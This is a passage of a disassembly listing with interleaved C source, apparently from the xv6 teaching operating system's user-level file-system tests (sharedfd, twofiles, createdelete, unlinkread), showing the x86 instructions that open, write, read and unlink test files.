1c48: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1c4f: 00
1c50: c7 04 24 56 58 00 00 movl $0x5856,(%esp)
1c57: e8 fc 2f 00 00 call 4c58 <open>
1c5c: 89 45 e8 mov %eax,-0x18(%ebp)
if(fd < 0){
1c5f: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
1c63: 79 19 jns 1c7e <sharedfd+0x129>
printf(1, "fstests: cannot open sharedfd for reading\n");
1c65: c7 44 24 04 ac 58 00 movl $0x58ac,0x4(%esp)
1c6c: 00
1c6d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1c74: e8 47 31 00 00 call 4dc0 <printf>
return;
1c79: e9 d3 00 00 00 jmp 1d51 <sharedfd+0x1fc>
}
nc = np = 0;
1c7e: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
1c85: 8b 45 ec mov -0x14(%ebp),%eax
1c88: 89 45 f0 mov %eax,-0x10(%ebp)
while((n = read(fd, buf, sizeof(buf))) > 0){
1c8b: eb 3b jmp 1cc8 <sharedfd+0x173>
for(i = 0; i < sizeof(buf); i++){
1c8d: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1c94: eb 2a jmp 1cc0 <sharedfd+0x16b>
if(buf[i] == 'c')
1c96: 8d 55 d6 lea -0x2a(%ebp),%edx
1c99: 8b 45 f4 mov -0xc(%ebp),%eax
1c9c: 01 d0 add %edx,%eax
1c9e: 0f b6 00 movzbl (%eax),%eax
1ca1: 3c 63 cmp $0x63,%al
1ca3: 75 04 jne 1ca9 <sharedfd+0x154>
nc++;
1ca5: 83 45 f0 01 addl $0x1,-0x10(%ebp)
if(buf[i] == 'p')
1ca9: 8d 55 d6 lea -0x2a(%ebp),%edx
1cac: 8b 45 f4 mov -0xc(%ebp),%eax
1caf: 01 d0 add %edx,%eax
1cb1: 0f b6 00 movzbl (%eax),%eax
1cb4: 3c 70 cmp $0x70,%al
1cb6: 75 04 jne 1cbc <sharedfd+0x167>
np++;
1cb8: 83 45 ec 01 addl $0x1,-0x14(%ebp)
printf(1, "fstests: cannot open sharedfd for reading\n");
return;
}
nc = np = 0;
while((n = read(fd, buf, sizeof(buf))) > 0){
for(i = 0; i < sizeof(buf); i++){
1cbc: 83 45 f4 01 addl $0x1,-0xc(%ebp)
1cc0: 8b 45 f4 mov -0xc(%ebp),%eax
1cc3: 83 f8 09 cmp $0x9,%eax
1cc6: 76 ce jbe 1c96 <sharedfd+0x141>
if(fd < 0){
printf(1, "fstests: cannot open sharedfd for reading\n");
return;
}
nc = np = 0;
while((n = read(fd, buf, sizeof(buf))) > 0){
1cc8: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
1ccf: 00
1cd0: 8d 45 d6 lea -0x2a(%ebp),%eax
1cd3: 89 44 24 04 mov %eax,0x4(%esp)
1cd7: 8b 45 e8 mov -0x18(%ebp),%eax
1cda: 89 04 24 mov %eax,(%esp)
1cdd: e8 4e 2f 00 00 call 4c30 <read>
1ce2: 89 45 e0 mov %eax,-0x20(%ebp)
1ce5: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
1ce9: 7f a2 jg 1c8d <sharedfd+0x138>
nc++;
if(buf[i] == 'p')
np++;
}
}
close(fd);
1ceb: 8b 45 e8 mov -0x18(%ebp),%eax
1cee: 89 04 24 mov %eax,(%esp)
1cf1: e8 4a 2f 00 00 call 4c40 <close>
unlink("sharedfd");
1cf6: c7 04 24 56 58 00 00 movl $0x5856,(%esp)
1cfd: e8 66 2f 00 00 call 4c68 <unlink>
if(nc == 10000 && np == 10000){
1d02: 81 7d f0 10 27 00 00 cmpl $0x2710,-0x10(%ebp)
1d09: 75 1f jne 1d2a <sharedfd+0x1d5>
1d0b: 81 7d ec 10 27 00 00 cmpl $0x2710,-0x14(%ebp)
1d12: 75 16 jne 1d2a <sharedfd+0x1d5>
printf(1, "sharedfd ok\n");
1d14: c7 44 24 04 d7 58 00 movl $0x58d7,0x4(%esp)
1d1b: 00
1d1c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1d23: e8 98 30 00 00 call 4dc0 <printf>
1d28: eb 27 jmp 1d51 <sharedfd+0x1fc>
} else {
printf(1, "sharedfd oops %d %d\n", nc, np);
1d2a: 8b 45 ec mov -0x14(%ebp),%eax
1d2d: 89 44 24 0c mov %eax,0xc(%esp)
1d31: 8b 45 f0 mov -0x10(%ebp),%eax
1d34: 89 44 24 08 mov %eax,0x8(%esp)
1d38: c7 44 24 04 e4 58 00 movl $0x58e4,0x4(%esp)
1d3f: 00
1d40: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1d47: e8 74 30 00 00 call 4dc0 <printf>
exit();
1d4c: e8 c7 2e 00 00 call 4c18 <exit>
}
}
1d51: c9 leave
1d52: c3 ret
00001d53 <twofiles>:
// two processes write two different files at the same
// time, to test block allocation.
void
twofiles(void)
{
1d53: 55 push %ebp
1d54: 89 e5 mov %esp,%ebp
1d56: 83 ec 38 sub $0x38,%esp
int fd, pid, i, j, n, total;
char *fname;
printf(1, "twofiles test\n");
1d59: c7 44 24 04 f9 58 00 movl $0x58f9,0x4(%esp)
1d60: 00
1d61: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1d68: e8 53 30 00 00 call 4dc0 <printf>
unlink("f1");
1d6d: c7 04 24 08 59 00 00 movl $0x5908,(%esp)
1d74: e8 ef 2e 00 00 call 4c68 <unlink>
unlink("f2");
1d79: c7 04 24 0b 59 00 00 movl $0x590b,(%esp)
1d80: e8 e3 2e 00 00 call 4c68 <unlink>
pid = fork();
1d85: e8 86 2e 00 00 call 4c10 <fork>
1d8a: 89 45 e8 mov %eax,-0x18(%ebp)
if(pid < 0){
1d8d: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
1d91: 79 19 jns 1dac <twofiles+0x59>
printf(1, "fork failed\n");
1d93: c7 44 24 04 f1 57 00 movl $0x57f1,0x4(%esp)
1d9a: 00
1d9b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1da2: e8 19 30 00 00 call 4dc0 <printf>
exit();
1da7: e8 6c 2e 00 00 call 4c18 <exit>
}
fname = pid ? "f1" : "f2";
1dac: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
1db0: 74 07 je 1db9 <twofiles+0x66>
1db2: b8 08 59 00 00 mov $0x5908,%eax
1db7: eb 05 jmp 1dbe <twofiles+0x6b>
1db9: b8 0b 59 00 00 mov $0x590b,%eax
1dbe: 89 45 e4 mov %eax,-0x1c(%ebp)
fd = open(fname, O_CREATE | O_RDWR);
1dc1: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
1dc8: 00
1dc9: 8b 45 e4 mov -0x1c(%ebp),%eax
1dcc: 89 04 24 mov %eax,(%esp)
1dcf: e8 84 2e 00 00 call 4c58 <open>
1dd4: 89 45 e0 mov %eax,-0x20(%ebp)
if(fd < 0){
1dd7: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
1ddb: 79 19 jns 1df6 <twofiles+0xa3>
printf(1, "create failed\n");
1ddd: c7 44 24 04 0e 59 00 movl $0x590e,0x4(%esp)
1de4: 00
1de5: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1dec: e8 cf 2f 00 00 call 4dc0 <printf>
exit();
1df1: e8 22 2e 00 00 call 4c18 <exit>
}
memset(buf, pid?'p':'c', 512);
1df6: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
1dfa: 74 07 je 1e03 <twofiles+0xb0>
1dfc: b8 70 00 00 00 mov $0x70,%eax
1e01: eb 05 jmp 1e08 <twofiles+0xb5>
1e03: b8 63 00 00 00 mov $0x63,%eax
1e08: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
1e0f: 00
1e10: 89 44 24 04 mov %eax,0x4(%esp)
1e14: c7 04 24 c0 9a 00 00 movl $0x9ac0,(%esp)
1e1b: e8 4b 2c 00 00 call 4a6b <memset>
for(i = 0; i < 12; i++){
1e20: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1e27: eb 4b jmp 1e74 <twofiles+0x121>
if((n = write(fd, buf, 500)) != 500){
1e29: c7 44 24 08 f4 01 00 movl $0x1f4,0x8(%esp)
1e30: 00
1e31: c7 44 24 04 c0 9a 00 movl $0x9ac0,0x4(%esp)
1e38: 00
1e39: 8b 45 e0 mov -0x20(%ebp),%eax
1e3c: 89 04 24 mov %eax,(%esp)
1e3f: e8 f4 2d 00 00 call 4c38 <write>
1e44: 89 45 dc mov %eax,-0x24(%ebp)
1e47: 81 7d dc f4 01 00 00 cmpl $0x1f4,-0x24(%ebp)
1e4e: 74 20 je 1e70 <twofiles+0x11d>
printf(1, "write failed %d\n", n);
1e50: 8b 45 dc mov -0x24(%ebp),%eax
1e53: 89 44 24 08 mov %eax,0x8(%esp)
1e57: c7 44 24 04 1d 59 00 movl $0x591d,0x4(%esp)
1e5e: 00
1e5f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1e66: e8 55 2f 00 00 call 4dc0 <printf>
exit();
1e6b: e8 a8 2d 00 00 call 4c18 <exit>
printf(1, "create failed\n");
exit();
}
memset(buf, pid?'p':'c', 512);
for(i = 0; i < 12; i++){
1e70: 83 45 f4 01 addl $0x1,-0xc(%ebp)
1e74: 83 7d f4 0b cmpl $0xb,-0xc(%ebp)
1e78: 7e af jle 1e29 <twofiles+0xd6>
if((n = write(fd, buf, 500)) != 500){
printf(1, "write failed %d\n", n);
exit();
}
}
close(fd);
1e7a: 8b 45 e0 mov -0x20(%ebp),%eax
1e7d: 89 04 24 mov %eax,(%esp)
1e80: e8 bb 2d 00 00 call 4c40 <close>
if(pid)
1e85: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
1e89: 74 11 je 1e9c <twofiles+0x149>
wait();
1e8b: e8 90 2d 00 00 call 4c20 <wait>
else
exit();
for(i = 0; i < 2; i++){
1e90: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1e97: e9 e7 00 00 00 jmp 1f83 <twofiles+0x230>
}
close(fd);
if(pid)
wait();
else
exit();
1e9c: e8 77 2d 00 00 call 4c18 <exit>
for(i = 0; i < 2; i++){
fd = open(i?"f1":"f2", 0);
1ea1: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1ea5: 74 07 je 1eae <twofiles+0x15b>
1ea7: b8 08 59 00 00 mov $0x5908,%eax
1eac: eb 05 jmp 1eb3 <twofiles+0x160>
1eae: b8 0b 59 00 00 mov $0x590b,%eax
1eb3: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1eba: 00
1ebb: 89 04 24 mov %eax,(%esp)
1ebe: e8 95 2d 00 00 call 4c58 <open>
1ec3: 89 45 e0 mov %eax,-0x20(%ebp)
total = 0;
1ec6: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
while((n = read(fd, buf, sizeof(buf))) > 0){
1ecd: eb 58 jmp 1f27 <twofiles+0x1d4>
for(j = 0; j < n; j++){
1ecf: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
1ed6: eb 41 jmp 1f19 <twofiles+0x1c6>
if(buf[j] != (i?'p':'c')){
1ed8: 8b 45 f0 mov -0x10(%ebp),%eax
1edb: 05 c0 9a 00 00 add $0x9ac0,%eax
1ee0: 0f b6 00 movzbl (%eax),%eax
1ee3: 0f be d0 movsbl %al,%edx
1ee6: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1eea: 74 07 je 1ef3 <twofiles+0x1a0>
1eec: b8 70 00 00 00 mov $0x70,%eax
1ef1: eb 05 jmp 1ef8 <twofiles+0x1a5>
1ef3: b8 63 00 00 00 mov $0x63,%eax
1ef8: 39 c2 cmp %eax,%edx
1efa: 74 19 je 1f15 <twofiles+0x1c2>
printf(1, "wrong char\n");
1efc: c7 44 24 04 2e 59 00 movl $0x592e,0x4(%esp)
1f03: 00
1f04: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1f0b: e8 b0 2e 00 00 call 4dc0 <printf>
exit();
1f10: e8 03 2d 00 00 call 4c18 <exit>
for(i = 0; i < 2; i++){
fd = open(i?"f1":"f2", 0);
total = 0;
while((n = read(fd, buf, sizeof(buf))) > 0){
for(j = 0; j < n; j++){
1f15: 83 45 f0 01 addl $0x1,-0x10(%ebp)
1f19: 8b 45 f0 mov -0x10(%ebp),%eax
1f1c: 3b 45 dc cmp -0x24(%ebp),%eax
1f1f: 7c b7 jl 1ed8 <twofiles+0x185>
if(buf[j] != (i?'p':'c')){
printf(1, "wrong char\n");
exit();
}
}
total += n;
1f21: 8b 45 dc mov -0x24(%ebp),%eax
1f24: 01 45 ec add %eax,-0x14(%ebp)
exit();
for(i = 0; i < 2; i++){
fd = open(i?"f1":"f2", 0);
total = 0;
while((n = read(fd, buf, sizeof(buf))) > 0){
1f27: c7 44 24 08 00 20 00 movl $0x2000,0x8(%esp)
1f2e: 00
1f2f: c7 44 24 04 c0 9a 00 movl $0x9ac0,0x4(%esp)
1f36: 00
1f37: 8b 45 e0 mov -0x20(%ebp),%eax
1f3a: 89 04 24 mov %eax,(%esp)
1f3d: e8 ee 2c 00 00 call 4c30 <read>
1f42: 89 45 dc mov %eax,-0x24(%ebp)
1f45: 83 7d dc 00 cmpl $0x0,-0x24(%ebp)
1f49: 7f 84 jg 1ecf <twofiles+0x17c>
exit();
}
}
total += n;
}
close(fd);
1f4b: 8b 45 e0 mov -0x20(%ebp),%eax
1f4e: 89 04 24 mov %eax,(%esp)
1f51: e8 ea 2c 00 00 call 4c40 <close>
if(total != 12*500){
1f56: 81 7d ec 70 17 00 00 cmpl $0x1770,-0x14(%ebp)
1f5d: 74 20 je 1f7f <twofiles+0x22c>
printf(1, "wrong length %d\n", total);
1f5f: 8b 45 ec mov -0x14(%ebp),%eax
1f62: 89 44 24 08 mov %eax,0x8(%esp)
1f66: c7 44 24 04 3a 59 00 movl $0x593a,0x4(%esp)
1f6d: 00
1f6e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1f75: e8 46 2e 00 00 call 4dc0 <printf>
exit();
1f7a: e8 99 2c 00 00 call 4c18 <exit>
if(pid)
wait();
else
exit();
for(i = 0; i < 2; i++){
1f7f: 83 45 f4 01 addl $0x1,-0xc(%ebp)
1f83: 83 7d f4 01 cmpl $0x1,-0xc(%ebp)
1f87: 0f 8e 14 ff ff ff jle 1ea1 <twofiles+0x14e>
printf(1, "wrong length %d\n", total);
exit();
}
}
unlink("f1");
1f8d: c7 04 24 08 59 00 00 movl $0x5908,(%esp)
1f94: e8 cf 2c 00 00 call 4c68 <unlink>
unlink("f2");
1f99: c7 04 24 0b 59 00 00 movl $0x590b,(%esp)
1fa0: e8 c3 2c 00 00 call 4c68 <unlink>
printf(1, "twofiles ok\n");
1fa5: c7 44 24 04 4b 59 00 movl $0x594b,0x4(%esp)
1fac: 00
1fad: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1fb4: e8 07 2e 00 00 call 4dc0 <printf>
}
1fb9: c9 leave
1fba: c3 ret
00001fbb <createdelete>:
// two processes create and delete different files in same directory
void
createdelete(void)
{
1fbb: 55 push %ebp
1fbc: 89 e5 mov %esp,%ebp
1fbe: 83 ec 48 sub $0x48,%esp
enum { N = 20 };
int pid, i, fd;
char name[32];
printf(1, "createdelete test\n");
1fc1: c7 44 24 04 58 59 00 movl $0x5958,0x4(%esp)
1fc8: 00
1fc9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1fd0: e8 eb 2d 00 00 call 4dc0 <printf>
pid = fork();
1fd5: e8 36 2c 00 00 call 4c10 <fork>
1fda: 89 45 f0 mov %eax,-0x10(%ebp)
if(pid < 0){
1fdd: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1fe1: 79 19 jns 1ffc <createdelete+0x41>
printf(1, "fork failed\n");
1fe3: c7 44 24 04 f1 57 00 movl $0x57f1,0x4(%esp)
1fea: 00
1feb: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1ff2: e8 c9 2d 00 00 call 4dc0 <printf>
exit();
1ff7: e8 1c 2c 00 00 call 4c18 <exit>
}
name[0] = pid ? 'p' : 'c';
1ffc: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
2000: 74 07 je 2009 <createdelete+0x4e>
2002: b8 70 00 00 00 mov $0x70,%eax
2007: eb 05 jmp 200e <createdelete+0x53>
2009: b8 63 00 00 00 mov $0x63,%eax
200e: 88 45 cc mov %al,-0x34(%ebp)
name[2] = '\0';
2011: c6 45 ce 00 movb $0x0,-0x32(%ebp)
for(i = 0; i < N; i++){
2015: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
201c: e9 97 00 00 00 jmp 20b8 <createdelete+0xfd>
name[1] = '0' + i;
2021: 8b 45 f4 mov -0xc(%ebp),%eax
2024: 83 c0 30 add $0x30,%eax
2027: 88 45 cd mov %al,-0x33(%ebp)
fd = open(name, O_CREATE | O_RDWR);
202a: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
2031: 00
2032: 8d 45 cc lea -0x34(%ebp),%eax
2035: 89 04 24 mov %eax,(%esp)
2038: e8 1b 2c 00 00 call 4c58 <open>
203d: 89 45 ec mov %eax,-0x14(%ebp)
if(fd < 0){
2040: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
2044: 79 19 jns 205f <createdelete+0xa4>
printf(1, "create failed\n");
2046: c7 44 24 04 0e 59 00 movl $0x590e,0x4(%esp)
204d: 00
204e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2055: e8 66 2d 00 00 call 4dc0 <printf>
exit();
205a: e8 b9 2b 00 00 call 4c18 <exit>
}
close(fd);
205f: 8b 45 ec mov -0x14(%ebp),%eax
2062: 89 04 24 mov %eax,(%esp)
2065: e8 d6 2b 00 00 call 4c40 <close>
if(i > 0 && (i % 2 ) == 0){
206a: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
206e: 7e 44 jle 20b4 <createdelete+0xf9>
2070: 8b 45 f4 mov -0xc(%ebp),%eax
2073: 83 e0 01 and $0x1,%eax
2076: 85 c0 test %eax,%eax
2078: 75 3a jne 20b4 <createdelete+0xf9>
name[1] = '0' + (i / 2);
207a: 8b 45 f4 mov -0xc(%ebp),%eax
207d: 89 c2 mov %eax,%edx
207f: c1 ea 1f shr $0x1f,%edx
2082: 01 d0 add %edx,%eax
2084: d1 f8 sar %eax
2086: 83 c0 30 add $0x30,%eax
2089: 88 45 cd mov %al,-0x33(%ebp)
if(unlink(name) < 0){
208c: 8d 45 cc lea -0x34(%ebp),%eax
208f: 89 04 24 mov %eax,(%esp)
2092: e8 d1 2b 00 00 call 4c68 <unlink>
2097: 85 c0 test %eax,%eax
2099: 79 19 jns 20b4 <createdelete+0xf9>
printf(1, "unlink failed\n");
209b: c7 44 24 04 6b 59 00 movl $0x596b,0x4(%esp)
20a2: 00
20a3: c7 04 24 01 00 00 00 movl $0x1,(%esp)
20aa: e8 11 2d 00 00 call 4dc0 <printf>
exit();
20af: e8 64 2b 00 00 call 4c18 <exit>
exit();
}
name[0] = pid ? 'p' : 'c';
name[2] = '\0';
for(i = 0; i < N; i++){
20b4: 83 45 f4 01 addl $0x1,-0xc(%ebp)
20b8: 83 7d f4 13 cmpl $0x13,-0xc(%ebp)
20bc: 0f 8e 5f ff ff ff jle 2021 <createdelete+0x66>
exit();
}
}
}
if(pid==0)
20c2: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
20c6: 75 05 jne 20cd <createdelete+0x112>
exit();
20c8: e8 4b 2b 00 00 call 4c18 <exit>
else
wait();
20cd: e8 4e 2b 00 00 call 4c20 <wait>
for(i = 0; i < N; i++){
20d2: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
20d9: e9 34 01 00 00 jmp 2212 <createdelete+0x257>
name[0] = 'p';
20de: c6 45 cc 70 movb $0x70,-0x34(%ebp)
name[1] = '0' + i;
20e2: 8b 45 f4 mov -0xc(%ebp),%eax
20e5: 83 c0 30 add $0x30,%eax
20e8: 88 45 cd mov %al,-0x33(%ebp)
fd = open(name, 0);
20eb: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
20f2: 00
20f3: 8d 45 cc lea -0x34(%ebp),%eax
20f6: 89 04 24 mov %eax,(%esp)
20f9: e8 5a 2b 00 00 call 4c58 <open>
20fe: 89 45 ec mov %eax,-0x14(%ebp)
if((i == 0 || i >= N/2) && fd < 0){
2101: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2105: 74 06 je 210d <createdelete+0x152>
2107: 83 7d f4 09 cmpl $0x9,-0xc(%ebp)
210b: 7e 26 jle 2133 <createdelete+0x178>
210d: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
2111: 79 20 jns 2133 <createdelete+0x178>
printf(1, "oops createdelete %s didn't exist\n", name);
2113: 8d 45 cc lea -0x34(%ebp),%eax
2116: 89 44 24 08 mov %eax,0x8(%esp)
211a: c7 44 24 04 7c 59 00 movl $0x597c,0x4(%esp)
2121: 00
2122: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2129: e8 92 2c 00 00 call 4dc0 <printf>
exit();
212e: e8 e5 2a 00 00 call 4c18 <exit>
} else if((i >= 1 && i < N/2) && fd >= 0){
2133: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2137: 7e 2c jle 2165 <createdelete+0x1aa>
2139: 83 7d f4 09 cmpl $0x9,-0xc(%ebp)
213d: 7f 26 jg 2165 <createdelete+0x1aa>
213f: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
2143: 78 20 js 2165 <createdelete+0x1aa>
printf(1, "oops createdelete %s did exist\n", name);
2145: 8d 45 cc lea -0x34(%ebp),%eax
2148: 89 44 24 08 mov %eax,0x8(%esp)
214c: c7 44 24 04 a0 59 00 movl $0x59a0,0x4(%esp)
2153: 00
2154: c7 04 24 01 00 00 00 movl $0x1,(%esp)
215b: e8 60 2c 00 00 call 4dc0 <printf>
exit();
2160: e8 b3 2a 00 00 call 4c18 <exit>
}
if(fd >= 0)
2165: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
2169: 78 0b js 2176 <createdelete+0x1bb>
close(fd);
216b: 8b 45 ec mov -0x14(%ebp),%eax
216e: 89 04 24 mov %eax,(%esp)
2171: e8 ca 2a 00 00 call 4c40 <close>
name[0] = 'c';
2176: c6 45 cc 63 movb $0x63,-0x34(%ebp)
name[1] = '0' + i;
217a: 8b 45 f4 mov -0xc(%ebp),%eax
217d: 83 c0 30 add $0x30,%eax
2180: 88 45 cd mov %al,-0x33(%ebp)
fd = open(name, 0);
2183: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
218a: 00
218b: 8d 45 cc lea -0x34(%ebp),%eax
218e: 89 04 24 mov %eax,(%esp)
2191: e8 c2 2a 00 00 call 4c58 <open>
2196: 89 45 ec mov %eax,-0x14(%ebp)
if((i == 0 || i >= N/2) && fd < 0){
2199: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
219d: 74 06 je 21a5 <createdelete+0x1ea>
219f: 83 7d f4 09 cmpl $0x9,-0xc(%ebp)
21a3: 7e 26 jle 21cb <createdelete+0x210>
21a5: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
21a9: 79 20 jns 21cb <createdelete+0x210>
printf(1, "oops createdelete %s didn't exist\n", name);
21ab: 8d 45 cc lea -0x34(%ebp),%eax
21ae: 89 44 24 08 mov %eax,0x8(%esp)
21b2: c7 44 24 04 7c 59 00 movl $0x597c,0x4(%esp)
21b9: 00
21ba: c7 04 24 01 00 00 00 movl $0x1,(%esp)
21c1: e8 fa 2b 00 00 call 4dc0 <printf>
exit();
21c6: e8 4d 2a 00 00 call 4c18 <exit>
} else if((i >= 1 && i < N/2) && fd >= 0){
21cb: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
21cf: 7e 2c jle 21fd <createdelete+0x242>
21d1: 83 7d f4 09 cmpl $0x9,-0xc(%ebp)
21d5: 7f 26 jg 21fd <createdelete+0x242>
21d7: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
21db: 78 20 js 21fd <createdelete+0x242>
printf(1, "oops createdelete %s did exist\n", name);
21dd: 8d 45 cc lea -0x34(%ebp),%eax
21e0: 89 44 24 08 mov %eax,0x8(%esp)
21e4: c7 44 24 04 a0 59 00 movl $0x59a0,0x4(%esp)
21eb: 00
21ec: c7 04 24 01 00 00 00 movl $0x1,(%esp)
21f3: e8 c8 2b 00 00 call 4dc0 <printf>
exit();
21f8: e8 1b 2a 00 00 call 4c18 <exit>
}
if(fd >= 0)
21fd: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
2201: 78 0b js 220e <createdelete+0x253>
close(fd);
2203: 8b 45 ec mov -0x14(%ebp),%eax
2206: 89 04 24 mov %eax,(%esp)
2209: e8 32 2a 00 00 call 4c40 <close>
if(pid==0)
exit();
else
wait();
for(i = 0; i < N; i++){
220e: 83 45 f4 01 addl $0x1,-0xc(%ebp)
2212: 83 7d f4 13 cmpl $0x13,-0xc(%ebp)
2216: 0f 8e c2 fe ff ff jle 20de <createdelete+0x123>
}
if(fd >= 0)
close(fd);
}
for(i = 0; i < N; i++){
221c: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
2223: eb 2b jmp 2250 <createdelete+0x295>
name[0] = 'p';
2225: c6 45 cc 70 movb $0x70,-0x34(%ebp)
name[1] = '0' + i;
2229: 8b 45 f4 mov -0xc(%ebp),%eax
222c: 83 c0 30 add $0x30,%eax
222f: 88 45 cd mov %al,-0x33(%ebp)
unlink(name);
2232: 8d 45 cc lea -0x34(%ebp),%eax
2235: 89 04 24 mov %eax,(%esp)
2238: e8 2b 2a 00 00 call 4c68 <unlink>
name[0] = 'c';
223d: c6 45 cc 63 movb $0x63,-0x34(%ebp)
unlink(name);
2241: 8d 45 cc lea -0x34(%ebp),%eax
2244: 89 04 24 mov %eax,(%esp)
2247: e8 1c 2a 00 00 call 4c68 <unlink>
}
if(fd >= 0)
close(fd);
}
for(i = 0; i < N; i++){
224c: 83 45 f4 01 addl $0x1,-0xc(%ebp)
2250: 83 7d f4 13 cmpl $0x13,-0xc(%ebp)
2254: 7e cf jle 2225 <createdelete+0x26a>
unlink(name);
name[0] = 'c';
unlink(name);
}
printf(1, "createdelete ok\n");
2256: c7 44 24 04 c0 59 00 movl $0x59c0,0x4(%esp)
225d: 00
225e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2265: e8 56 2b 00 00 call 4dc0 <printf>
}
226a: c9 leave
226b: c3 ret
0000226c <unlinkread>:
// can I unlink a file and still read it?
void
unlinkread(void)
{
226c: 55 push %ebp
226d: 89 e5 mov %esp,%ebp
226f: 83 ec 28 sub $0x28,%esp
int fd, fd1;
printf(1, "unlinkread test\n");
2272: c7 44 24 04 d1 59 00 movl $0x59d1,0x4(%esp)
2279: 00
227a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2281: e8 3a 2b 00 00 call 4dc0 <printf>
fd = open("unlinkread", O_CREATE | O_RDWR);
2286: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
228d: 00
228e: c7 04 24 e2 59 00 00 movl $0x59e2,(%esp)
2295: e8 be 29 00 00 call 4c58 <open>
229a: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
229d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
22a1: 79 19 jns 22bc <unlinkread+0x50>
printf(1, "create unlinkread failed\n");
22a3: c7 44 24 04 ed 59 00 movl $0x59ed,0x4(%esp)
22aa: 00
22ab: c7 04 24 01 00 00 00 movl $0x1,(%esp)
22b2: e8 09 2b 00 00 call 4dc0 <printf>
exit();
22b7: e8 5c 29 00 00 call 4c18 <exit>
}
write(fd, "hello", 5);
22bc: c7 44 24 08 05 00 00 movl $0x5,0x8(%esp)
22c3: 00
22c4: c7 44 24 04 07 5a 00 movl $0x5a07,0x4(%esp)
22cb: 00
22cc: 8b 45 f4 mov -0xc(%ebp),%eax
22cf: 89 04 24 mov %eax,(%esp)
22d2: e8 61 29 00 00 call 4c38 <write>
close(fd);
22d7: 8b 45 f4 mov -0xc(%ebp),%eax
22da: 89 04 24 mov %eax,(%esp)
22dd: e8 5e 29 00 00 call 4c40 <close>
fd = open("unlinkread", O_RDWR);
22e2: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp)
22e9: 00
22ea: c7 04 24 e2 59 00 00 movl $0x59e2,(%esp)
22f1: e8 62 29 00 00 call 4c58 <open>
22f6: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
22f9: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
22fd: 79 19 jns 2318 <unlinkread+0xac>
printf(1, "open unlinkread failed\n");
22ff: c7 44 24 04 0d 5a 00 movl $0x5a0d,0x4(%esp)
2306: 00
2307: c7 04 24 01 00 00 00 movl $0x1,(%esp)
230e: e8 ad 2a 00 00 call 4dc0 <printf>
exit();
2313: e8 00 29 00 00 call 4c18 <exit>
}
if(unlink("unlinkread") != 0){
2318: c7 04 24 e2 59 00 00 movl $0x59e2,(%esp)
231f: e8 44 29 00 00 call 4c68 <unlink>
2324: 85 c0 test %eax,%eax
2326: 74 19 je 2341 <unlinkread+0xd5>
printf(1, "unlink unlinkread failed\n");
2328: c7 44 24 04 25 5a 00 movl $0x5a25,0x4(%esp)
232f: 00
2330: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2337: e8 84 2a 00 00 call 4dc0 <printf>
exit();
233c: e8 d7 28 00 00 call 4c18 <exit>
}
fd1 = open("unlinkread", O_CREATE | O_RDWR);
2341: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
2348: 00
2349: c7 04 24 e2 59 00 00 movl $0x59e2,(%esp)
2350: e8 03 29 00 00 call 4c58 <open>
